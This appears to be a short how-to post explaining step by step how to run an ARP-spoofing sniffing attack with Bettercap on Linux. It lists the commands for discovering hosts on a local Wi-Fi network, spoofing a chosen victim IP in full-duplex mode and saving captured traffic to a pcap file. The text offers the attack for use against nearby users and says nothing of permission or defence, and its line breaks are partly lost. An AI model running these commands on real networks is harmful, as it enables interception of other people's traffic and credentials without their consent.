How to perform sniffing attack
using Bettercap in linux
Firstly Open an terminal Using CTRL + ALT + T then type
sudo bettercapTo get start you should have internet connect of your nearbyrouter
Then type
net.probe onnet.probe on used to identify the host(users) in Local Wifi Network
After getting users(host) in your terminal select ips to sniff them
and Type
help arp.spoofhelp arp.spoof use to list all possible parameter for arp.spoof
There are 4 possible parameter.Four of them we only need two at this moment
arp.spoof.fullduplex arp.spoof.targetswe only use two of them
Then Type
set arp.spoof.fullduplex true //Make Default false into Trueset arp.spoof.targets target_ip //e.g 192.168.1.100
arp.spoof on
Now the time for sniffing attack
we use net.sniff parameter in bettercap for sniffing
Type:
set net.sniff.verbose true you can list all possible parameter by typing help net.sniffSet an output file for capture data. The extension should be in .pcap
set net.sniff.output /path/for/file/ eg set net.sniff.output /home/user/Desktop/demo.pcapthen Run parameter by Typing
net.sniff on